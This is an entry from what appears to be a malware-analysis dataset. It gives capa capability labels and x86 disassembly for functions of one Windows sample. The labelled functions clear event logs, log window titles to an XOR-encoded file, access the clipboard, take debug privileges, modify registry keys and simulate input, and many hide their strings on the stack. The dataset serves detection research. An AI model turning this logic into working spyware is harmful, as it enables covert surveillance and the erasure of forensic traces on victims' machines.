joyce8/EMBER2024-capa huggingface dataset:
Function at 0x408120
Capabilities:
Access the windows event log
Clear windows event logs
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x2c
mov al, 0x70
mov cl, 0x69
mov byte [esp + 0x15], al
mov byte [esp + 0x16], al
mov byte [esp + 0x18], cl
mov byte [esp + 0x1c], cl
mov byte [esp + 0xd], cl
mov al, 0x74
mov dl, 0x65
mov cl, 0x79
push ebx
push ebp
mov ebp, dword [sym.imp.ADVAPI32.dll_OpenEventLogA]
mov byte [esp + 0x23], al
mov bl, 0x53
mov byte [esp + 0x11], dl
mov byte [esp + 0x16], al
mov byte [esp + 0x17], cl
mov byte [esp + 9], cl
mov byte [esp + 0xb], al
mov byte [esp + 0xc], dl
push esi
lea eax, [esp + 0x20]
lea ecx, [esp + 0x14]
lea edx, [esp + 0xc]
push edi
mov byte [esp + 0x18], bl
mov byte [esp + 0x10], bl
mov byte [esp + 0x24], 0x41
mov byte [esp + 0x27], 0x6c
mov byte [esp + 0x29], 0x63
mov byte [esp + 0x2a], 0x61
mov byte [esp + 0x2d], 0x6f
mov byte [esp + 0x2e], 0x6e
mov byte [esp + 0x2f], 0
mov byte [esp + 0x1a], 0x63
mov byte [esp + 0x1b], 0x75
mov byte [esp + 0x1c], 0x72
mov byte [esp + 0x20], 0
mov byte [esp + 0x12], 0x73
mov byte [esp + 0x15], 0x6d
mov byte [esp + 0x16], 0
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], ecx
mov dword [esp + 0x38], edx
lea edi, [esp + 0x30]
mov ebx, 3
mov eax, dword [edi]
push eax
push 0
call ebp
mov esi, eax
test esi, esi
je 0x4081f5
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_ClearEventLogA]
push esi
call dword [sym.imp.ADVAPI32.dll_CloseEventLog]
add edi, 4
dec ebx
jne 0x4081d8
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x2c
ret
Function at 0x408450
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x24
mov al, 0x4e
mov cl, 0x43
mov byte [esp + 0x1a], al
mov byte [esp + 0x1b], al
xor al, al
push esi
mov esi, dword [esp + 0x2c]
mov byte [esp + 0x24], al
mov byte [esp + 0x19], al
mov byte [esp + 0x11], al
mov byte [esp + 8], al
lea eax, [esp + 4]
mov byte [esp + 0x1c], cl
mov byte [esp + 0x21], cl
push 4
mov dl, 0x54
mov cl, 0x20
push eax
push esi
mov byte [esp + 0x29], 0x4f
mov byte [esp + 0x2c], 0x45
mov byte [esp + 0x2e], dl
mov byte [esp + 0x2f], cl
mov byte [esp + 0x20], 0x50
mov byte [esp + 0x21], 0x4f
mov byte [esp + 0x22], 0x53
mov byte [esp + 0x23], dl
mov byte [esp + 0x24], cl
mov byte [esp + 0x18], 0x48
mov byte [esp + 0x19], 0x45
mov byte [esp + 0x1a], 0x41
mov byte [esp + 0x1b], 0x44
mov byte [esp + 0x1c], cl
mov byte [esp + 0x10], 0x47
mov byte [esp + 0x11], 0x45
mov byte [esp + 0x12], dl
mov byte [esp + 0x13], cl
call sub.MSVCRT.dll__strnicmp
add esp, 0xc
test eax, eax
jne 0x4084fd
mov ecx, dword [esp + 0x30]
mov eax, 1
pop esi
mov dword [ecx], 4
add esp, 0x24
ret
lea edx, [esp + 0xc]
push 5
push edx
push esi
call sub.MSVCRT.dll__strnicmp
add esp, 0xc
test eax, eax
jne 0x408525
mov eax, dword [esp + 0x30]
pop esi
mov dword [eax], 5
mov eax, 2
add esp, 0x24
ret
lea ecx, [esp + 0x14]
push 5
push ecx
push esi
call sub.MSVCRT.dll__strnicmp
add esp, 0xc
test eax, eax
jne 0x40854d
mov edx, dword [esp + 0x30]
mov eax, 3
pop esi
mov dword [edx], 5
add esp, 0x24
ret
lea eax, [esp + 0x1c]
push 8
push eax
push esi
call sub.MSVCRT.dll__strnicmp
add esp, 0xc
test eax, eax
jne 0x408575
mov ecx, dword [esp + 0x30]
mov eax, 4
pop esi
mov dword [ecx], 8
add esp, 0x24
ret
xor eax, eax
pop esi
add esp, 0x24
ret
Function at 0x40a530
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
sub esp, 0x114
push ebx
mov al, 0x6f
push ebp
push esi
mov byte [esp + 0xd], al
mov byte [esp + 0x11], al
push edi
lea eax, [esp + 0x20]
push 0x104
push eax
mov byte [esp + 0x18], 0x5c
mov byte [esp + 0x1a], 0x75
mov byte [esp + 0x1b], 0x72
mov byte [esp + 0x1c], 0x6c
mov byte [esp + 0x1e], 0x67
mov byte [esp + 0x1f], 0x2e
mov byte [esp + 0x20], 0x64
mov byte [esp + 0x21], 0x61
mov byte [esp + 0x22], 0x74
mov byte [esp + 0x23], 0
call dword [0x478580]
lea ecx, [esp + 0x10]
lea edx, [esp + 0x20]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0
push 0x80
push 4
push 0
push 2
lea eax, [esp + 0x34]
push 0x40000000
push eax
call dword [0x47857c]
mov ebx, eax
push 0
push ebx
mov dword [esp + 0x24], 0
call dword [0x478578]
cmp eax, 0x3200000
jae 0x40a5da
push 2
push 0
push 0
push ebx
call dword [0x478574]
mov ebp, dword [esp + 0x128]
push ebp
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov esi, eax
push esi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov edi, eax
test esi, esi
jle 0x40a609
mov ecx, ebp
sub ecx, edi
mov dl, byte [ecx + eax]
xor dl, 0x62
mov byte [eax], dl
inc eax
dec esi
jne 0x40a5fd
lea eax, [esp + 0x1c]
push 0
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push edi
push ebx
call dword [0x478570]
push ebx
call dword [0x47856c]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x114
ret

Function at 0x40a640
Capabilities:
Get graphical window text

Disassembly:
sub esp, 0x410
push esi
push edi
mov ecx, 0x100
xor eax, eax
mov edi, 0x47858c
rep stosd dword es:[edi], eax
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push 0x400
push 0x47858c
push eax
mov dword [0x47898c], eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x19]
mov byte [esp + 0x18], 0
rep stosd dword es:[edi], eax
mov ecx, dword [0x478588]
xor esi, esi
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [0x47898c]
cmp eax, ecx
je 0x40a73b
push 0x47858c
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
jle 0x40a72f
lea ecx, [esp + 8]
push ecx
call dword [0x478568]
mov edx, dword [esp + 0x14]
mov eax, dword [esp + 0x12]
mov ecx, dword [esp + 0x10]
and edx, 0xffff
and eax, 0xffff
push edx
mov edx, dword [esp + 0x12]
and ecx, 0xffff
push eax
mov eax, dword [esp + 0x12]
push ecx
mov ecx, dword [esp + 0x14]
and edx, 0xffff
and eax, 0xffff
push edx
and ecx, 0xffff
push eax
push ecx
push 0x47858c
lea edx, [esp + 0x34]
push 0x475d60
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [esp + 0x3c]
push eax
call fcn.0040a530
add esp, 0x28
mov ecx, 0x100
xor eax, eax
mov edi, 0x47858c
rep stosd dword es:[edi], eax
mov esi, 1
mov ecx, dword [0x47898c]
mov dword [0x478588], ecx
mov eax, esi
pop edi
pop esi
add esp, 0x410
ret
Function at 0x40ab50
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
sub esp, 0x118
push ebp
push edi
lea eax, [esp + 0x1c]
xor edi, edi
push 0x104
mov dword [esp + 0x18], ecx
push eax
mov dword [esp + 0x20], edi
call dword [0x478580]
lea ecx, [esp + 8]
lea edx, [esp + 0x1c]
mov al, 0x6f
push ecx
push edx
mov byte [esp + 0x10], 0x5c
mov byte [esp + 0x11], al
mov byte [esp + 0x12], 0x75
mov byte [esp + 0x13], 0x72
mov byte [esp + 0x14], 0x6c
mov byte [esp + 0x15], al
mov byte [esp + 0x16], 0x67
mov byte [esp + 0x17], 0x2e
mov byte [esp + 0x18], 0x64
mov byte [esp + 0x19], 0x61
mov byte [esp + 0x1a], 0x74
mov byte [esp + 0x1b], 0
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push edi
push 0x80
push 3
push edi
push 1
lea eax, [esp + 0x30]
push 0x80000000
push eax
call dword [0x47857c]
mov ebp, eax
cmp ebp, 0xffffffff
je 0x40ac31
push esi
push edi
push ebp
call dword [0x478578]
mov edi, eax
push edi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
lea ecx, [esp + 0x1c]
mov esi, eax
push 0
push ecx
push edi
push esi
push ebp
call dword [0x478554]
xor eax, eax
test edi, edi
jbe 0x40ac1a
mov cl, byte [eax + esi]
xor cl, 0x62
mov byte [eax + esi], cl
inc eax
cmp eax, edi
jb 0x40ac0c
mov ecx, dword [esp + 0x18]
push edi
push esi
call fcn.0040aaf0
push esi
mov edi, eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
pop esi
push ebp
call dword [0x47856c]
mov eax, edi
pop edi
pop ebp
add esp, 0x118
ret
Function at 0x40b8d0
Capabilities:
Delete registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x46b380
push 0x466282
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x14
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 4], ebx
mov eax, dword [ebp + 0x20]
cmp eax, 3
ja case.default.0x40b907
jmp dword [eax*4 + 0x40ba50]
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 0x24]
push ecx
push ebx
push 0xf003f
push ebx
push ebx
push ebx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne case.default.0x40b907
lea ecx, [ebp - 0x24]
push ecx
push 0x2001f
push ebx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne case.default.0x40b907
mov edx, dword [ebp + 0x14]
cmp edx, ebx
jbe case.default.0x40b907
cmp edx, 2
jbe 0x40b990
cmp edx, 4
jne case.default.0x40b907
push edx
lea ecx, [ebp + 0x1c]
push ecx
push edx
push ebx
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp - 0x24]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne case.default.0x40b907
jmp 0x40ba14
mov esi, dword [ebp + 0x18]
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
push ecx
push esi
push edx
push ebx
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp - 0x24]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne case.default.0x40b907
jmp 0x40ba14
lea eax, [ebp - 0x24]
push eax
push 0x2001f
push ebx
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne case.default.0x40b907
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp - 0x24]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
test eax, eax
jne case.default.0x40b907
jmp 0x40ba14
lea edx, [ebp - 0x24]
push edx
push 0x2001f
push ebx
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne case.default.0x40b907
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp - 0x24]
push eax
call dword [0x4789a8]
test eax, eax
jne case.default.0x40b907
mov dword [ebp - 0x1c], 1
mov dword [ebp - 4], 0xffffffff
call fcn.0040ba3b
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40c420
Capabilities:
Log keystrokes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
mov eax, esi
xor edx, edx
mov ecx, 0x1c
div ecx
test edx, edx
jne 0x40c5d1
call fcn.0040fcc0
mov eax, 0x24924925
mul esi
sub esi, edx
shr esi, 1
add esi, edx
shr esi, 4
test esi, esi
jle 0x40c5d1
mov edx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [sym.imp.USER32.dll_mouse_event]
push edi
lea ebx, [edx + 8]
mov dword [esp + 0x18], esi
mov eax, dword [ebx - 4]
cmp eax, 0x200
jb 0x40c49d
cmp eax, 0x208
ja 0x40c49d
mov edi, dword [ebx + 4]
xor esi, esi
mov si, word [ebx + 4]
shr edi, 0x10
push edi
push esi
call dword [sym.imp.USER32.dll_SetCursorPos]
push edi
push esi
call dword [sym.imp.USER32.dll_WindowFromPoint]
push eax
call dword [sym.imp.USER32.dll_SetCapture]
mov eax, dword [ebx - 4]
cmp eax, 0x203
ja 0x40c54d
je 0x40c535
cmp eax, 0x105
ja 0x40c509
je 0x40c4eb
sub eax, 0x100
je 0x40c4cd
dec eax
je 0x40c4eb
sub eax, 3
jne case.0x40c557.521
mov eax, dword [ebx]
push 0
push 0
push 0
push eax
call dword [sym.imp.USER32.dll_MapVirtualKeyA]
mov cl, byte [ebx]
push eax
push ecx
call dword [0x4789b8]
jmp case.0x40c557.521
mov edx, dword [ebx]
push 0
push 2
push 0
push edx
call dword [sym.imp.USER32.dll_MapVirtualKeyA]
push eax
mov al, byte [ebx]
push eax
call dword [0x4789b8]
jmp case.0x40c557.521
sub eax, 0x201
je 0x40c526
dec eax
jne case.0x40c557.521
push 0
push 0
push 0
push 0
push 4
jmp 0x40c5ba
push 0
push 0
push 0
push 0
push 2
jmp 0x40c5ba
push 0
push 0
push 0
push 0
push 6
call ebp
push 0
push 0
push 0
push 0
push 6
jmp 0x40c5ba
add eax, 0xfffffdfc
cmp eax, 6
ja case.0x40c557.521
jmp dword [eax*4 + 0x40c5d8]
push 0
push 0
push 0
push 0
push 8
jmp 0x40c5ba
push 0
push 0
push 0
push 0
push 0x10
jmp 0x40c5ba
push 0
push 0
push 0
push 0
push 0x18
call ebp
push 0
push 0
push 0
push 0
push 0x18
jmp 0x40c5ba
push 0
push 0
push 0
push 0
push 0x20
jmp 0x40c5ba
push 0
push 0
push 0
push 0
push 0x40
jmp 0x40c5ba
mov ecx, dword [ebx]
push 0
shr ecx, 0x10
movsx edx, cx
push edx
push 0
push 0
push 0x800
call ebp
mov eax, dword [esp + 0x18]
add ebx, 0x1c
dec eax
mov dword [esp + 0x18], eax
jne 0x40c469
pop edi
pop ebp
pop ebx
pop esi
ret 8

Function at 0x40c630
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x40c698
push ebx
push esi
call dword [sym.imp.USER32.dll_EmptyClipboard]
mov esi, dword [esp + 0x10]
push esi
push 0x2000
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebx, eax
test ebx, ebx
je 0x40c690
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov ecx, esi
mov esi, dword [esp + 0x10]
mov edi, eax
mov eax, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push ebx
push 1
call dword [sym.imp.USER32.dll_SetClipboardData]
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
pop edi
call dword [sym.imp.USER32.dll_CloseClipboard]
pop esi
pop ebx
ret 8
Function at 0x40c700
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
sub esp, 8
push esi
mov dword [esp + 8], ecx
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x40c792
push 1
call dword [sym.imp.USER32.dll_GetClipboardData]
mov esi, eax
test esi, esi
mov dword [esp + 4], esi
jne 0x40c731
call dword [sym.imp.USER32.dll_CloseClipboard]
pop esi
add esp, 8
ret
push ebx
push ebp
push edi
push esi
call dword [0x4789b4]
mov ebx, eax
push esi
inc ebx
call dword [sym.imp.KERNEL32.dll_GlobalLock]
push ebx
mov esi, eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
lea ecx, [ebx - 1]
mov ebp, eax
mov eax, ecx
add esp, 4
lea edi, [ebp + 1]
mov byte [ebp], 0x77
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
call dword [sym.imp.USER32.dll_CloseClipboard]
mov ecx, dword [esp + 0x14]
push ebx
push ebp
call fcn.0040af40
push ebp
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
pop edi
pop ebp
pop ebx
pop esi
add esp, 8
ret
Function at 0x40d490
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x48
push ebx
push esi
push str.RegQueryValueExA
push str.ADVAPI32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov cl, 0x45
mov esi, eax
mov eax, 4
mov byte [esp + 0x27], cl
mov byte [esp + 0x2a], cl
mov cl, 0x49
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], eax
mov al, 0x41
mov bl, 0x44
mov byte [esp + 0x2e], cl
mov byte [esp + 0x31], cl
mov cl, 0x74
mov byte [esp + 0x21], al
mov byte [esp + 0x23], bl
mov byte [esp + 0x25], al
mov byte [esp + 0x29], bl
mov al, 0x5c
mov bl, 0x53
mov byte [esp + 0x38], cl
mov byte [esp + 0x3f], cl
mov cl, 0x72
mov byte [esp + 0x28], al
mov byte [esp + 0x2b], bl
mov byte [esp + 0x34], al
mov byte [esp + 0x35], bl
mov byte [esp + 0x3b], al
mov byte [esp + 0x4c], al
mov dl, 0x52
mov bl, 0x73
mov byte [esp + 0x40], cl
mov byte [esp + 0x44], cl
mov byte [esp + 0x4b], cl
lea eax, [esp + 8]
lea ecx, [esp + 0x20]
mov byte [esp + 0x22], dl
mov byte [esp + 0x26], dl
mov byte [esp + 0x2d], dl
mov byte [esp + 0x37], bl
mov byte [esp + 0x48], bl
mov byte [esp + 0x49], bl
push eax
mov dl, 0x65
xor ebx, ebx
push ecx
push SysStringLen
mov byte [esp + 0x2c], 0x48
mov byte [esp + 0x30], 0x57
mov byte [esp + 0x38], 0x43
mov byte [esp + 0x3b], 0x50
mov byte [esp + 0x3c], 0x54
mov byte [esp + 0x3e], 0x4f
mov byte [esp + 0x3f], 0x4e
mov byte [esp + 0x42], 0x79
mov byte [esp + 0x45], dl
mov byte [esp + 0x46], 0x6d
mov byte [esp + 0x48], 0x43
mov byte [esp + 0x49], dl
mov byte [esp + 0x4a], 0x6e
mov byte [esp + 0x4d], 0x61
mov byte [esp + 0x4e], 0x6c
mov byte [esp + 0x4f], 0x50
mov byte [esp + 0x51], 0x6f
mov byte [esp + 0x52], 0x63
mov byte [esp + 0x53], dl
mov byte [esp + 0x56], 0x6f
mov byte [esp + 0x59], 0x30
mov byte [esp + 0x5a], bl
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov byte [esp + 0x18], 0x7e
mov byte [esp + 0x19], 0x4d
mov byte [esp + 0x1a], 0x48
mov byte [esp + 0x1b], 0x7a
mov byte [esp + 0x1c], bl
lea edx, [esp + 0xc]
lea eax, [esp + 0x14]
push edx
lea ecx, [esp + 0x14]
push eax
mov eax, dword [esp + 0x10]
push ecx
lea edx, [esp + 0x24]
push ebx
push edx
push eax
call esi
mov ecx, dword [esp + 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [esp + 0x14]
pop esi
pop ebx
add esp, 0x48
ret
Function at 0x40d640
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x430
push ebx
push ebp
mov ebp, dword [esp + 0x444]
push esi
mov esi, dword [esp + 0x444]
mov ecx, ebp
mov edx, ecx
push edi
xor eax, eax
mov edi, esi
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
mov dl, 0x53
and ecx, 3
mov byte [esp + 0x18], dl
rep stosb byte es:[edi], al
mov ecx, 0x100
xor eax, eax
lea edi, [esp + 0x40]
mov byte [esp + 0x1a], dl
rep stosd dword es:[edi], eax
mov al, 0x65
mov cl, 0x72
mov byte [esp + 0x23], al
mov byte [esp + 0x2e], al
mov byte [esp + 0x32], al
mov byte [esp + 0x37], al
mov eax, dword [esp + 0x444]
mov byte [esp + 0x21], cl
mov byte [esp + 0x22], cl
mov byte [esp + 0x2a], cl
mov byte [esp + 0x33], cl
mov byte [esp + 0x2d], dl
mov byte [esp + 0x31], dl
lea ecx, [esp + 0x18]
push eax
lea edx, [esp + 0x44]
mov bl, 0x74
push ecx
push edx
mov byte [esp + 0x25], 0x59
mov byte [esp + 0x27], 0x54
mov byte [esp + 0x28], 0x45
mov byte [esp + 0x29], 0x4d
mov byte [esp + 0x2a], 0x5c
mov byte [esp + 0x2b], 0x43
mov byte [esp + 0x2c], 0x75
mov byte [esp + 0x30], 0x6e
mov byte [esp + 0x31], bl
mov byte [esp + 0x32], 0x43
mov byte [esp + 0x33], 0x6f
mov byte [esp + 0x34], 0x6e
mov byte [esp + 0x35], bl
mov byte [esp + 0x37], 0x6f
mov byte [esp + 0x38], 0x6c
mov byte [esp + 0x3b], bl
mov byte [esp + 0x3c], 0x5c
mov byte [esp + 0x40], 0x76
mov byte [esp + 0x41], 0x69
mov byte [esp + 0x42], 0x63
mov byte [esp + 0x44], 0x73
mov byte [esp + 0x45], 0x5c
mov byte [esp + 0x46], 0x25
mov byte [esp + 0x47], 0x73
mov byte [esp + 0x48], 0
call dword [sym.imp.USER32.dll_wsprintfA]
push 0
push ebp
push 0
push esi
lea eax, [esp + 0x2c]
push 1
lea ecx, [esp + 0x60]
push eax
mov byte [esp + 0x34], 0x48
mov byte [esp + 0x35], 0x6f
mov byte [esp + 0x36], 0x73
mov byte [esp + 0x37], bl
mov byte [esp + 0x38], 0
push ecx
push SysStringLen
call fcn.0040b160
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
add esp, 0x2c
push esi
call edi
test eax, eax
jne 0x40d78f
push ebp
push esi
call dword [0x477c88]
push esi
call edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x430
ret
Function at 0x40f500
Capabilities:
Acquire debug privileges

Disassembly:
push ecx
push ebx
push esi
push edi
mov edi, ecx
push 1
push str.SeDebugPrivilege
mov dword [esp + 0x14], edi
call fcn.0040f8d0
mov ebx, dword [esp + 0x20]
add esp, 8
xor esi, esi
test ebx, ebx
jbe 0x40f557
push ebp
mov ebp, dword [esp + 0x18]
mov eax, dword [esi + ebp]
push eax
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
push 0
push edi
call dword [0x478b34]
push edi
call dword [0x478b30]
add esi, 4
cmp esi, ebx
jb 0x40f528
mov edi, dword [esp + 0x10]
pop ebp
push 0
push str.SeDebugPrivilege
call fcn.0040f8d0
add esp, 8
push 0x64
call dword [0x478b2c]
mov ecx, edi
call fcn.0040f340
mov ecx, edi
call fcn.0040f370
pop edi
pop esi
pop ebx
pop ecx
ret 8
Function at 0x40f620
Capabilities:
Acquire debug privileges

Disassembly:
sub esp, 0x238
push esi
push edi
xor esi, esi
mov ecx, 0x49
xor eax, eax
lea edi, [esp + 0x18]
mov dword [esp + 0x14], esi
mov byte [esp + 0x13c], al
rep stosd dword es:[edi], eax
mov ecx, 0x40
lea edi, [esp + 0x13d]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 1
push str.SeDebugPrivilege
mov dword [esp + 0x10], esi
stosb byte es:[edi], al
call fcn.0040f8d0
add esp, 8
push esi
push 2
call dword [0x478b20]
mov edi, eax
cmp edi, 0xffffffff
mov dword [esp + 0xc], edi
jne 0x40f685
pop edi
xor eax, eax
pop esi
add esp, 0x238
ret
push ebx
push ebp
push 0x400
push 0x40
mov dword [esp + 0x24], 0x128
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ebx, eax
lea eax, [esp + 0x1c]
push eax
push edi
mov byte [ebx], 0x7f
mov ebp, 1
call dword [0x478b1c]
test eax, eax
je 0x40f7d7
mov ecx, dword [esp + 0x24]
push ecx
push 0
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
mov eax, dword [esp + 0x24]
test eax, eax
je 0x40f7c4
cmp eax, 4
je 0x40f7c4
cmp eax, 8
je 0x40f7c4
lea edx, [esp + 0x18]
lea eax, [esp + 0x10]
push edx
push 4
push eax
push esi
call dword [0x478b24]
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x144]
push 0x104
push ecx
push edx
push esi
call dword [0x478b28]
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
lea eax, [esp + 0x40]
push eax
call esi
lea ecx, [esp + 0x144]
mov edi, eax
push ecx
call esi
lea eax, [edi + eax + 6]
push ebx
lea edi, [eax + ebp]
call dword [0x478b38]
cmp eax, edi
jae 0x40f74f
push 0x42
push edi
push ebx
call dword [0x478b18]
mov ebx, eax
mov edx, dword [esp + 0x24]
lea eax, [esp + 0x40]
mov dword [ebx + ebp], edx
push eax
add ebp, 4
call esi
mov ecx, eax
lea esi, [esp + 0x40]
inc ecx
lea edi, [ebx + ebp]
mov edx, ecx
lea eax, [esp + 0x40]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
call esi
lea ecx, [esp + 0x144]
lea ebp, [eax + ebp + 1]
push ecx
call esi
mov ecx, eax
lea esi, [esp + 0x144]
inc ecx
lea edi, [ebx + ebp]
mov edx, ecx
lea eax, [esp + 0x144]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov edi, dword [esp + 0x14]
lea ebp, [eax + ebp + 1]
lea ecx, [esp + 0x1c]
push ecx
push edi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x40f6ba
push 0x42
push ebp
push ebx
call dword [0x478b18]
push 0
push str.SeDebugPrivilege
mov esi, eax
call fcn.0040f8d0
add esp, 8
push edi
call dword [0x478b30]
pop ebp
pop ebx
mov eax, esi
pop edi
pop esi
add esp, 0x238
ret

Function at 0x40f960
Capabilities:
Shutdown system

Disassembly:
push 1
push str.SeShutdownPrivilege
call fcn.0040f8d0
mov eax, dword [esp + 0xc]
add esp, 8
push 0
push eax
call dword [sym.imp.USER32.dll_ExitWindowsEx]
push 0
push str.SeShutdownPrivilege
call fcn.0040f8d0
add esp, 8
ret
Function at 0x40fb50
Capabilities:
Create thread

Disassembly:
sub esp, 0x10
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x20]
mov dl, byte [esp + 0x2c]
push esi
push 0
push 0
push 0
push 0
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], ecx
mov byte [esp + 0x1c], dl
call dword [0x478b6c]
mov ecx, dword [esp + 0x28]
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x2c]
lea edx, [esp + 4]
push eax
mov eax, dword [esp + 0x20]
push ecx
mov ecx, dword [esp + 0x20]
push edx
push 0x40fb20
push eax
push ecx
call sub.MSVCRT.dll__beginthreadex
mov edx, dword [esp + 0x28]
add esp, 0x18
mov esi, eax
push 0xffffffffffffffff
push edx
call dword [0x478b68]
mov eax, dword [esp + 0x10]
push eax
call dword [0x478b64]
mov eax, esi
pop esi
add esp, 0x10
ret

Function at 0x40fe50
Capabilities:
Simulate ctrl alt del

Disassembly:
sub esp, 0xc
push esi
call dword [0x478b50]
push eax
call dword [sym.imp.USER32.dll_GetThreadDesktop]
mov esi, eax
mov al, 0x6f
mov byte [esp + 8], al
mov byte [esp + 0xa], al
lea eax, [esp + 4]
mov cl, 0x6e
push eax
mov byte [esp + 8], 0x57
mov byte [esp + 9], 0x69
mov byte [esp + 0xa], cl
mov byte [esp + 0xb], 0x6c
mov byte [esp + 0xd], 0x67
mov byte [esp + 0xf], cl
mov byte [esp + 0x10], 0
call fcn.0040fe00
add esp, 4
test eax, eax
jne 0x40fea6
pop esi
add esp, 0xc
ret
push 0x2e0003
push 0
push 0x312
push 0xffff
call dword [sym.imp.USER32.dll_PostMessageA]
test esi, esi
je 0x40feca
push esi
call fcn.0040fd90
add esp, 4
mov eax, 1
pop esi
add esp, 0xc
ret